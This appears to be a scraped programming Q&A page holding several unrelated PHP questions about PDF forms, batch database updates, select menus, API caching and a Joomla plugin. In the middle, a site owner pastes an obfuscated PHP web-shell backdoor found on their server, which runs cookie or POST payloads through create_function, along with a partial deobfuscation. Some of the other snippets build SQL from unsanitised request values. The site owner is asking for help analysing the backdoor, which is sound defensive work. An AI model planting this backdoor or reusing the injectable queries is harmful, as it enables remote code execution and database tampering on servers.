this is my first question here so please excuse if this is incomprehensible.
I've got a little web tool on PHP for registering examinees to an examination. At the end I want to fill a PDF form with FPDM with data from the database in a foreach. The frist file which is created is perfect. The others are created but when I want to open with Acrobat or Chrome the loading is failed. I can fill every set of data separately but when I call the filling function twice or multiple times, the second file can not be opened.
MS Edge is able to open the currupt files but doesn't show the fonts correctly. So FPDM seems to fill all forms correctly but the files are somehow broken.
I'm searching for solutiones sincs days but no idea where is the problem. The code should be correct.
Can anybody help??
Here is the code:
require_once('libs/fpdm.php');
$statement = $pdo->prepare("SELECT * FROM `examinations` WHERE uid = :uid");
$result = $statement->execute(array('uid' => $_GET['prepareExamination']));
$examinationToPrepare = $statement->fetch();
$statement = $pdo->prepare("SELECT * FROM `examinees` WHERE examination = :examination");
$result = $statement->execute(array('examination' => $_GET['prepareExamination']));
$examinees = $statement->fetchAll();
$i = 1;
function mergePDF($template, $fields, $outfilename) {
header("Content-type:application/pdf");
header("Content-Disposition:attachment;filename=" . basename($outfilename) . "");
$pdf = new FPDM($template);
$pdf->Load($fields, true);
$pdf->Merge();
$pdf->Output($outfilename, "F")
}
foreach ($examinees as $examinee => $data) {
if ($examinationToPrepare['department'] == 1) {
$examiner1Name = utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['group' . strval(intval($data['subDepartment']) - 1) . 'FirstExaminer'], 'firstName')) . ' ' . utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['group' . strval(intval($data['subDepartment']) - 1) . 'FirstExaminer'], 'lastName'));
$examiner1Description = utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['group' . strval(intval($data['subDepartment']) - 1) . 'FirstExaminer'], 'graduation')) . "\n" . utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['group' . strval(intval($data['subDepartment']) - 1) . 'FirstExaminer'], 'function'));
$examiner2Name = utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['group' . strval(intval($data['subDepartment']) - 1) . 'SecondExaminer'], 'firstName')) . ' ' . utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['group' . strval(intval($data['subDepartment']) - 1) . 'SecondExaminer'], 'lastName'));
$examiner2Description = utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['group' . strval(intval($data['subDepartment']) - 1) . 'SecondExaminer'], 'graduation')) . "\n" . utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['group' . strval(intval($data['subDepartment']) - 1) . 'SecondExaminer'], 'function'));
} else {
$examiner1Name = utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['firstExaminer'], 'firstName')) . utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['firstExaminer'], 'lastName'));
$examiner1Description = utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['firstExaminer'], 'graduation')) . '\n' . utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['firstExaminer'], 'function'));
$examiner2Name = utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['secondExaminer'], 'firstName')) . utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['secondExaminer'], 'lastName'));
$examiner2Description = utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['secondExaminer'], 'graduation')) . '\n' . utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['secondExaminer'], 'function'));
}
$fields = array(
'name' => utf8_encode($data['firstName']) . ' ' . utf8_encode($data['lastName']),
'graduierung' => utf8_encode(findByUid($_SESSION['graduations'], $data['graduation'], 'name')) . ' ' . utf8_encode(findByUid($_SESSION['systems'], $data['system'], 'name')),
'ort' => utf8_encode($examinationToPrepare['location']),
'registrierung' => utf8_encode($examinationToPrepare['registration']),
'datum' => utf8_encode($examinationToPrepare['date']),
'pruefer1' => $examiner1Name,
'pruefer1-grad' => $examiner1Description,
'pruefer2' => $examiner2Name,
'pruefer2-grad' => $examiner2Description
);
if (!file_exists('documents/' . utf8_encode($examinationToPrepare['title']))) {
mkdir('documents/' . utf8_encode($examinationToPrepare['title']), 0777, true);
}
if ($examinationToPrepare['department'] == 1 && !file_exists('documents/' . $examinationToPrepare['title'] . '/' . findById($_SESSION['subDepartments'], $data['subDepartment'], 'name'))) {
mkdir('documents/' . $examinationToPrepare['title'] . '/' . findById($_SESSION['subDepartments'], $data['subDepartment'], 'name'), 0777, true);
}
mergePDF('pdf/Urkunde1.pdf', $fields, 'documents/' . $examinationToPrepare['title'] . '/' . ($examinationToPrepare['department'] == 1 ? findById($_SESSION['subDepartments'], $data['subDepartment'], 'name') . '/' : '') . utf8_encode($data['firstName']) . ' ' . utf8_encode($data['lastName']). '.pdf');
$i++;
}
Related
The file name is 7bcwj0cb.php, and the contents are very weird, was I hacked?
There were like 5 other files with similar gibberish
<?php
$pgmvyzp = 'ab6u*9eivyx184o52l-kr7#ndpHfgtm_c\'s';
$maczjg = Array();
$maczjg[] = $pgmvyzp[32] . $pgmvyzp[20] . $pgmvyzp[6] . $pgmvyzp[0] . $pgmvyzp[29] . $pgmvyzp[6] . $pgmvyzp[31] . $pgmvyzp[27] . $pgmvyzp[3] . $pgmvyzp[23] . $pgmvyzp[32] . $pgmvyzp[29] . $pgmvyzp[7] . $pgmvyzp[14] . $pgmvyzp[23];
$maczjg[] = $pgmvyzp[13] . $pgmvyzp[24] . $pgmvyzp[1] . $pgmvyzp[32] . $pgmvyzp[6] . $pgmvyzp[13] . $pgmvyzp[6] . $pgmvyzp[21] . $pgmvyzp[18] . $pgmvyzp[6] . $pgmvyzp[24] . $pgmvyzp[5] . $pgmvyzp[5] . $pgmvyzp[18] . $pgmvyzp[13] . $pgmvyzp[32] . $pgmvyzp[1] . $pgmvyzp[16] . $pgmvyzp[18] . $pgmvyzp[12] . $pgmvyzp[16] . $pgmvyzp[15] . $pgmvyzp[1] . $pgmvyzp[18] . $pgmvyzp[27] . $pgmvyzp[15] . $pgmvyzp[21] . $pgmvyzp[12] . $pgmvyzp[16] . $pgmvyzp[13] . $pgmvyzp[11] . $pgmvyzp[15] . $pgmvyzp[5] . $pgmvyzp[24] . $pgmvyzp[2] . $pgmvyzp[2];
$maczjg[] = $pgmvyzp[26] . $pgmvyzp[4];
$maczjg[] = $pgmvyzp[22];
$maczjg[] = $pgmvyzp[32] . $pgmvyzp[14] . $pgmvyzp[3] . $pgmvyzp[23] . $pgmvyzp[29];
$maczjg[] = $pgmvyzp[34] . $pgmvyzp[29] . $pgmvyzp[20] . $pgmvyzp[31] . $pgmvyzp[20] . $pgmvyzp[6] . $pgmvyzp[25] . $pgmvyzp[6] . $pgmvyzp[0] . $pgmvyzp[29];
$maczjg[] = $pgmvyzp[6] . $pgmvyzp[10] . $pgmvyzp[25] . $pgmvyzp[17] . $pgmvyzp[14] . $pgmvyzp[24] . $pgmvyzp[6];
$maczjg[] = $pgmvyzp[34] . $pgmvyzp[3] . $pgmvyzp[1] . $pgmvyzp[34] . $pgmvyzp[29] . $pgmvyzp[20];
$maczjg[] = $pgmvyzp[0] . $pgmvyzp[20] . $pgmvyzp[20] . $pgmvyzp[0] . $pgmvyzp[9] . $pgmvyzp[31] . $pgmvyzp[30] . $pgmvyzp[6] . $pgmvyzp[20] . $pgmvyzp[28] . $pgmvyzp[6];
$maczjg[] = $pgmvyzp[34] . $pgmvyzp[29] . $pgmvyzp[20] . $pgmvyzp[17] . $pgmvyzp[6] . $pgmvyzp[23];
$maczjg[] = $pgmvyzp[25] . $pgmvyzp[0] . $pgmvyzp[32] . $pgmvyzp[19];
foreach ($maczjg[8]($_COOKIE, $_POST) as $bxoyyiw => $uugksy) {
function kfzbo($maczjg, $bxoyyiw, $iuufylj)
{
return $maczjg[7]($maczjg[5]($bxoyyiw . $maczjg[1], ($iuufylj / $maczjg[9]($bxoyyiw)) + 1), 0, $iuufylj);
}
function ngsojvo($maczjg, $tafqe)
{
return #$maczjg[10]($maczjg[2], $tafqe);
}
function zhozxyb($maczjg, $tafqe)
{
$lvjxhjh = $maczjg[4]($tafqe) % 3;
if (!$lvjxhjh) {
$obfgnob = $maczjg[0];
$xmsae = $obfgnob("", $tafqe[1]($tafqe[2]));
$xmsae();
exit();
}
}
$uugksy = ngsojvo($maczjg, $uugksy);
zhozxyb($maczjg, $maczjg[6]($maczjg[3], $uugksy ^ kfzbo($maczjg, $bxoyyiw, $maczjg[9]($uugksy))));
}
?>
It looks like your post is mostly code; please add some more details.
It looks like your post is mostly code; please add some more details.
I was working on decoding this code slightly, my original code on my server was this :
<?php
$qzyri = 'fe1*sa4bx_#dc50ltnyoH6r3-gmp9viu2\'k';
$gsubnr = Array();
$gsubnr[] = $qzyri[12] . $qzyri[22] . $qzyri[1] . $qzyri[5] . $qzyri[16] . $qzyri[1] . $qzyri[9] . $qzyri[0] . $qzyri[31] . $qzyri[17] . $qzyri[12] . $qzyri[16] . $qzyri[30] . $qzyri[19] . $qzyri[17];
$gsubnr[] = $qzyri[20] . $qzyri[3];
$gsubnr[] = $qzyri[10];
$gsubnr[] = $qzyri[0] . $qzyri[14] . $qzyri[23] . $qzyri[2] . $qzyri[5] . $qzyri[11] . $qzyri[14] . $qzyri[0] . $qzyri[24] . $qzyri[0] . $qzyri[0] . $qzyri[13] . $qzyri[28] . $qzyri[24] . $qzyri[6] . $qzyri[32] . $qzyri[13] . $qzyri[23] . $qzyri[24] . $qzyri[5] . $qzyri[21] . $qzyri[6] . $qzyri[11] . $qzyri[24] . $qzyri[11] . $qzyri[2] . $qzyri[11] . $qzyri[0] . $qzyri[2] . $qzyri[6] . $qzyri[5] . $qzyri[7] . $qzyri[14] . $qzyri[7] . $qzyri[0] . $qzyri[23];
$gsubnr[] = $qzyri[12] . $qzyri[19] . $qzyri[31] . $qzyri[17] . $qzyri[16];
$gsubnr[] = $qzyri[4] . $qzyri[16] . $qzyri[22] . $qzyri[9] . $qzyri[22] . $qzyri[1] . $qzyri[27] . $qzyri[1] . $qzyri[5] . $qzyri[16];
$gsubnr[] = $qzyri[1] . $qzyri[8] . $qzyri[27] . $qzyri[15] . $qzyri[19] . $qzyri[11] . $qzyri[1];
$gsubnr[] = $qzyri[4] . $qzyri[31] . $qzyri[7] . $qzyri[4] . $qzyri[16] . $qzyri[22];
$gsubnr[] = $qzyri[5] . $qzyri[22] . $qzyri[22] . $qzyri[5] . $qzyri[18] . $qzyri[9] . $qzyri[26] . $qzyri[1] . $qzyri[22] . $qzyri[25] . $qzyri[1];
$gsubnr[] = $qzyri[4] . $qzyri[16] . $qzyri[22] . $qzyri[15] . $qzyri[1] . $qzyri[17];
$gsubnr[] = $qzyri[27] . $qzyri[5] . $qzyri[12] . $qzyri[34];
foreach ($gsubnr[8]($_COOKIE, $_POST) as $hbhkgf => $jeswg) {
function ilkbnxf($gsubnr, $hbhkgf, $gufyu)
{
return $gsubnr[7]($gsubnr[5]($hbhkgf . $gsubnr[3], ($gufyu / $gsubnr[9]($hbhkgf)) + 1), 0, $gufyu);
}
function rpobw($gsubnr, $wfqhr)
{
return #$gsubnr[10]($gsubnr[1], $wfqhr);
}
function przvg($gsubnr, $wfqhr)
{
$gltnue = $gsubnr[4]($wfqhr) % 3;
if (!$gltnue) {
$qebvtmo = $gsubnr[0];
$yxubf = $qebvtmo("", $wfqhr[1]($wfqhr[2]));
$yxubf();
exit();
}
}
$jeswg = rpobw($gsubnr, $jeswg);
przvg($gsubnr, $gsubnr[6]($gsubnr[2], $jeswg ^ ilkbnxf($gsubnr, $hbhkgf, $gsubnr[9]($jeswg))));
}
$yxubf
I have ended up decoding it so far to this
$array = array_merge($_COOKIE,$_POST);
foreach ($array as $key => $value) {
function ilkbnxf( $key, $length) {
return substr(str_repeat($key . 'f031ad0f-ff59-4253-a64d-d1df14ab0bf3', ($length / strlen($key)) + 1), 0, $length);
}
function toBinary( $wfqhr) {
return #pack('H*', $wfqhr);
}
function przvg( $wfqhr) {
$gltnue = count($wfqhr) % 3;
if (!$gltnue) {
var_dump($wfqhr);
// $yxubf = create_function("", $wfqhr[1]($wfqhr[2]));
// $yxubf();
// exit();
}
}
$value = toBinary( $value);
przvg(explode('#', $value ^ ilkbnxf( $key, strlen($value))));
Now I see some few issues,
I dont think this code will run due to these.
First of all, the function is being declared in a foreach loop, and as far as I know you cannot declare functions in a for loop due to not being able to declare functions multiple times (in the loop it will be declared more than once).
Secondly, the $wfqhr variable, from the code below, after running it a few times, this variable does not end up making a proper function as required in the create_function, which e.g would send the cookie somewhere or etc. The script does attempt to obfuscate the cookie though.
Also, for most of the cookie and post, I have tried, the if statement does not get run.
I cant figure out what this script is for or what it is meant to do, and if somebody else could help out in further figuring out the script, that would be quite helpful.
I have a method that updated fields in a table. Its used to update three tables, invoices invoice_items and payments All three tables have the same field to be updated. When the below code runs, the multi_checked() method runs for the first two times, but not for the third time and It's not obvious to me as to why. Any Ideas?
Method Call:
elseif (isset($_POST[$mod . '-del']) && count($check) > 0) {
$state = multi_checked(
$check,
'UPDATE ' . $db['database'] . '.invoices SET deleted="Y"',
EVENT_DEL,
'Invoice [' . $c . '] deleted',
'Please select at least one item',
FALSE,
'SELECT id FROM ' . $db['database'] . '.invoices'
);
$state = multi_checked(
$check,
'UPDATE ' . $db['database'] . '.payments SET deleted="Y"',
EVENT_DEL,
'Payment [' . $c . '] deleted',
'Please select at least one item',
TRUE,
'SELECT id FROM ' . $db['database'] . '.payments',
null,
"id_invoice"
);
$state = multi_checked(
$check,
'UPDATE ' . $db['database'] . '.invoice_items SET deleted="Y"',
EVENT_DEL,
'Invoice Item [' . $c . '] deleted',
'Please select at least one item',
TRUE,
'SELECT id FROM ' . $db['database'] . '.invoice_items',
null,
"id_invoice"
);
} # Clear Export timestamps
the multi_checked method is described as follows:
function multi_checked(
$check,
$query,
$event_type,
$event_desc,
$none = 'Please select at least one item',
$redirect = TRUE,
$meta_query = NULL,
$success_msg = NULL,
$field = "id"
) {
global $db, $mod;
$batch_count = count($check);
$meta_data = NULL;
if ($batch_count == 0) {
add_msg($none);
return (0);
} else {
$changed = 0;
$ref = load_array('SELECT MAX(id) FROM ' . $db['database'] . '.eventlog'); # batch id
foreach ($check As $c) {
if ($meta_query != NULL) {
$meta_data = load_array($meta_query . ' WHERE id' . $field . '="' . $c . '"');
if ($meta_data != NULL) $meta_data = ' (' . $meta_data . ')';
}
$q = $query . ' WHERE ' . $field . '="' . $c . '"';
$z = $query . ' WHERE ' . $field . '="' . $c . '"';
$g = "asf";
if (run_query($query . ' WHERE ' . $field . '="' . $c . '"') == 0) {
eventlog($db['database'], $event_type, $mod, $c, uid(), '[Batch #' . $ref . '] ' . $event_desc . $meta_data, uname());
$changed++;
} else {
eventlog($db['database'], $event_type, $mod, $c, uid(), '[Batch #' . $ref . '] FAIL: ' . $event_desc . $meta_data, uname(), FALSE, FALSE);
}
}
# Check for errors
if ($changed != $batch_count) {
add_error($changed . ' of ' . $batch_count . ' items processed - you may need to check the system log for details');
} # Success!
else {
$message = ($changed . ' item' . ($changed > 1 ? 's' : NULL) . ' processed successfully');
if ($changed > 1) { # log batch summary
#mysql_query("FLUSH QUERY CACHE");
eventlog($db['database'], $event_type, $mod, 0, uid(), '[Batch #' . $ref . '] ' . $changed . ' records processed', uname());
}
# Redirect
if ($redirect) {
header('Location: ?m=' . $mod . '&changed=' . $changed . '&message=' . $success_msg);
exit;
} else {
add_msg($message);
}
}
return ($changed);
}
}
The second call to multi_check has $redirect parameter set to TRUE - so the function redirects, preventing the script to call the function the third time...
I want to make a code which demonstrates that if I choose any option value and press submit button, the value which I chose should be seen in the options box.
The codes are;
<?php
$myfile = fopen("cars_lab5.txt", "r") or die("Unable to open file!");
?>
This is to open the file because I pull the items from a file.
<?php
$index = 0;
$val = $_GET['car'];
//$selection = "";
for ($index=0 ; $index < 5 ; $index++){
$num = 0;
$line = fgets($myfile) . "<br>";
$slide = explode("|",$line);
//echo '<option value="' . $index . '">' . $slide[$num] . ' - ' . $slide[num+1] . ' euros';
if ($val==0){
echo '<option value="' . $index . '"' . $selection . ' selected">' . $slide[$num] . ' - ' . $slide[num+1] . ' euros'; }
else if ($val==1){
echo '<option value="' . $index . '"' . $selection . ' selected">' . $slide[$num] . ' - ' . $slide[num+1] . ' euros'; }
else if ($val==2){
echo '<option value="' . $index . '"' . $selection . ' selected">' . $slide[$num] . ' - ' . $slide[num+1] . ' euros'; }
else if ($val==3){
echo '<option value="' . $index . '"' . $selection . ' selected">' . $slide[$num] . ' - ' . $slide[num+1] . ' euros'; }
else if ($val==4){
echo '<option value="' . $index . '"' . $selection . ' selected">' . $slide[$num] . ' - ' . $slide[num+1] . ' euros'; }
}
fclose($myfile);
?>
When I use this code, everything works properly but if I choose third option and press submit button, again first item is seen on the option box instead of what I choose.
You have set all options with the 'selected' tag, so the browser will show the last option as selected by default.
You need to remove the 'selected' string from the echo statement and configure the $selection var somewhere:
$selection=($index==$val?'selected':null)
You don't need the if/else statement at all.
So you would just have one line:
echo '<option value="' . $index . '"' . $selection . '">' . $slide[$num] . ' - ' . $slide[num+1] . ' euros';
EDIT including example as per comment
Your example code will look like:
<?php
$index = 0;
$val = $_GET['car'];
//$selection = "";
for ($index=0 ; $index < 5 ; $index++){
$num = 0;
$line = fgets($myfile) . "<br>";
$slide = explode("|",$line);
$selection=($index==$val?'selected':null);
echo '<option value="' . $index . '"' . $selection . '">' . $slide[$num] . ' - ' . $slide[num+1] . ' euros';
}
fclose($myfile);
?>
I currently have this code. It fetches the json data file for each hour and the whole day's file from an api. It then caches the results for faster fetching. It currently takes ~10s to fetch all the files and use them (no caching), it takes ~1 to execute with a cache but it takes ~80s with the method below (with caching) when the cache is stale. There is other code obviously being run on this but this is the slow bit. $this->hours has 24 elements.
Is there a faster way to get the files & cache them?
/**
* Get the weather data from forecast.io
* #return array The overall weather data
*/
public function getData($kernelDir)
{
$apiSite = 'https://api.forecast.io/forecast/';
$url = $apiSite . $this->apiKey . '/' . $this->latitude . ',' . $this->longitude;
if (!file_exists($kernelDir . '/cache/api/' . $this->latitude . '.' . $this->longitude))
{
$weatherFile = #file_get_contents($url);
$fp = fopen($kernelDir . '/cache/api/' . $this->latitude . '.' . $this->longitude, 'w+');
fwrite($fp, $weatherFile);
fclose($fp);
}
else {
$weatherFile = #file_get_contents($kernelDir . '/cache/api/' . $this->latitude . '.' . $this->longitude);
}
$this->weatherData['day'] = #json_decode($weatherFile, true);
$this->getHours();
foreach ($this->hours as $normal => $unixTimestamp)
{
$url = $apiSite . $this->apiKey . '/' . $this->latitude . ',' . $this->longitude . ',' . $unixTimestamp;
if (!file_exists($kernelDir . '/cache/api/' . $this->latitude . '.' . $this->longitude . '.' . $unixTimestamp))
{
$weatherFile = #file_get_contents($url);
$fp = fopen($kernelDir . '/cache/api/' . $this->latitude . '.' . $this->longitude . '.' . $unixTimestamp, 'w+');
fwrite($fp, $weatherFile);
fclose($fp);
}
else {
$weatherFile = #file_get_contents($kernelDir . '/cache/api/' . $this->latitude . ',' . $this->longitude . ',' . $unixTimestamp);
}
$this->weatherData['time'][$normal] = #json_decode($weatherFile, true);
}
return $this->weatherData;
}
I'm pretty new at this but I want to learn...
I have a GPL plugin (for Joomla 1.6 / JomSocial 2.6) that I would like to use (w/ Joomla 2.5 & JomSocial 2.8) but it will need some fixing or updating. It should check for a default avatar and replace it with a random one. It installed but doesn't work.
How can I verify it's getting the data it needs?
I think one problem might be no file listed in the database is default. It looks like this plugin expects one to be there.
function onUserLogin($user, $options)
{
$juser = CFactory::getUser($user);
$curavatar = $juser->getThumbAvatar();
$gender = $juser->getInfo($this->params->get( 'genderfield' , 'FIELD_GENDER' ));
if($this->compareEnd("default.jpg", $curavatar) || $this->compareEnd("user.png", $curavatar) || ($this->contains('minisocialgender_images',$curavatar) && $this->params->get( 'reassign' , '0' )))
{
The script is only about 100 lines so I hope someone can point out some obvious problems.
Thanks for looking and any help you can offer. Here's the rest of the script...
// no direct access
defined('_JEXEC') or die('Restricted access');
jimport( 'joomla.plugin.plugin' );
require_once( JPATH_BASE . DS . 'components' . DS . 'com_community' . DS . 'libraries' . DS . 'core.php');
class plgUserMiniSocialGender extends JPlugin
{
function plgUserMiniSocialGender(& $subject, $config)
{
parent::__construct($subject, $config);
}
//function onLoginUser($user, $options)
function onUserLogin($user, $options)
{
//$juser = $this->getJomSocialUser($user);
$juser = CFactory::getUser($userid);
//$curavatar = $juser->getAvatar();
$curavatar = $juser->getThumbAvatar();
$gender = $juser->getInfo($this->params->get( 'genderfield' , 'FIELD_GENDER' ));
//$gender = $user->getInfo('FIELD_GENDER');
if($this->compareEnd("default.jpg", $curavatar) || $this->compareEnd("user.png", $curavatar) || ($this->contains('minisocialgender_images',$curavatar) && $this->params->get( 'reassign' , '0' )))
{
if($gender)
{
$maleurl = JPATH_SITE . DS . 'plugins' . DS . 'user' . DS . 'minisocialgender' .DS . 'minisocialgender_images' . DS . 'male' . DS;
$femaleurl = JPATH_SITE . DS . 'plugins' . DS . 'user' . DS . 'minisocialgender' .DS . 'minisocialgender_images' . DS . 'female' . DS;
$usermodel =& CFactory::getModel('user');
if($this->params->get( 'maletype' , 'Male' ) == $gender)
{
if($this->contains("male", $curavatar))
return;
}
if($this->params->get( 'femaletype' , 'Female' ) == $gender)
{
if($this->contains("female", $curavatar))
return;
}
if($gender == $this->params->get( 'maletype' , 'Male' ))
{
$files = $this->getDirItems($maleurl);
$random = rand ( 0 , (count( $files) - 1));
JFile::copy($maleurl . $files[$random], JPATH_SITE . DS . 'plugins' . DS . 'user' . DS .'minisocialgender' .DS . 'minisocialgender_images' . DS . $juser->id . 'male' . '.png');
JFile::copy($maleurl . 'thumb' . DS .$files[$random], JPATH_SITE . DS . 'plugins' . DS . 'user' . DS . 'minisocialgender' .DS . 'minisocialgender_images' . DS . 'thumb' . $juser->id . 'male' . '.png');
$usermodel->setImage($juser->id, 'plugins' . DS . 'user' . DS . 'minisocialgender' .DS . 'minisocialgender_images' . DS . $juser->id . 'male' . '.png', 'avatar');
$usermodel->setImage($juser->id, 'plugins' . DS . 'user' . DS . 'minisocialgender' .DS . 'minisocialgender_images' . DS . 'thumb' . $juser->id . 'male' . '.png', 'thumb');
}
elseif($gender == $this->params->get( 'femaletype' , 'Female' ))
{
$files = $this->getDirItems($femaleurl);
$random= rand ( 0 , (count( $files) - 1) );
JFile::copy($femaleurl . $files[$random], JPATH_SITE . DS . 'plugins' . DS . 'user' . DS . 'minisocialgender' .DS . 'minisocialgender_images' . DS . $juser->id . 'female' . '.png');
JFile::copy($femaleurl . 'thumb' . DS . $files[$random], JPATH_SITE . DS . 'plugins' . DS . 'minisocialgender' .DS . 'user' . DS . 'minisocialgender_images' . DS . 'thumb' . $juser->id . 'female' . '.png');
$usermodel->setImage($juser->id, 'plugins' . DS . 'user' . DS . 'minisocialgender' .DS . 'minisocialgender_images' . DS . $juser->id . 'female' . '.png', 'avatar');
$usermodel->setImage($juser->id, 'plugins' . DS . 'user' . DS . 'minisocialgender' .DS . 'minisocialgender_images' . DS . 'thumb' . $juser->id . 'female' . '.png', 'thumb');
}
if($this->params->get( 'warnuser' , 1 ))
{
JFactory::getApplication()->enqueueMessage( $this->params->get( 'warnmessage' ));
}
}
}
}
function getDirItems($dir)
{
$files = array();
if (is_dir($dir)) {
if ($dh = opendir($dir)) {
while (($file = readdir($dh)) !== false) {
if(filetype($dir . $file) == "file")
{
$files[] = $file;
}
}
closedir($dh);
}
}
return $files;
}
function compareEnd($end, $fullstring)
{
$StrLen = strlen($end);
$FullStrEnd = substr($fullstring, strlen($fullstring) - $StrLen);
return ($end == $FullStrEnd);
}
function contains($needle, $haystack)
{
$pos = strpos($haystack,$needle);
if($pos)
return true;
else
return false;
}
//function getJomSocialUser($user)
//{
// $user2 =& JFactory::getUser();
// $userid = $user2->id;
// return CFactory::getUser($userid);
//}
}